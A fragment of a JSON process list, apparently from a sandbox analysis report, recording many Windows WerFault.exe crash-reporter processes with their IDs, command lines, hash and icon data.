4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005932","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6896,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 392 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006896","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3912,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 488 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003912","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5736,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 488 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005736","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5952,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 508 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005952","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2184,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 484 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002184","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3604,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 448 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003604","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7020,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 516 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007020","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7424,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 528 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007424","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4184,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 480 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004184","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3552,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003552","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1864,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00001864","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2704,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 528 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002704","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2732,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 520 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002732","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2756,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 540 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00002756","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5520,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 552 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005520","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6816,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 540 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006816","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5908,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 540 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005908","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6644,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 536 -p 4656 -ip 4656","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006644","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5284,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 564 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005284","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6260,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 568 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006260","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7748,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 564 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007748","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3908,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 548 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003908","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":8028,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 480 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00008028","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7936,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 164 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007936","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6380,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 164 -p 4204 -ip 4204","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006380","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7056,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 512 -p 4204 